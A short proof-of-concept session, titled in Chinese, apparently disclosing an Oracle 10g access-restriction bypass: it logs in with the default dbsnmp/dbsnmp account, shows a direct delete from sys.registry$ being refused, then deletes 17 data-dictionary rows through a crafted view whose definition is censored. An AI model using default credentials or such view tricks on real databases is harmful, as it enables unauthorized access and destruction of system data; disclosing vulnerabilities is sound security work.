Oracle数据库访问局限绕过漏洞

C:\>sqlplus dbsnmp/dbsnmp 
SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 8 19:20:27 2006 
Copyright (c) 1982, 2005, Oracle. All rights reserved. 
Connected to: 
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0
- Production With the Partitioning, OLAP and Data Mining options 
SQL> select * from v$version; 
BANNER 
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 
- Prod PL/SQL Release 10.1.0.4.0 - Production 
CORE 10.1.0.4.0 Production 
TNS for 32-bit Windows: Version 10.1.0.4.0 
- Production NLSRTL Version 10.1.0.4.0 - Production 
SQL> -- 无法从数据词典删除数据（正常） 
SQL> delete from sys.registry$; 
delete from sys.registry$ 
* 
ERROR at line 1: 
ORA-01031: insufficient privileges 
SQL> -- 创建特制的自定义视图 
SQL> create or replace view e as select [...censored...]; 
View created. 
SQL> -- 通过视图丢弃数据!!! ==> 安全漏洞 !!! 
SQL> delete from e; 
17 rows deleted.